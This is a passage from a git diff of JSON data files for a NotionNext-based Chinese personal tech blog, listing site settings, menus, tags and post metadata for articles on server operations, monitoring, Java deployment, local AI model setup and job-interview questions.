etheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":16,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"page":"2","category":"技术分享"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\347\237\245\350\241\214\345\220\210\344\270\200.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\347\237\245\350\241\214\345\220\210\344\270\200.json" new file mode 100644 index 000000000..a158a683f --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\347\237\245\350\241\214\345\220\210\344\270\200.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试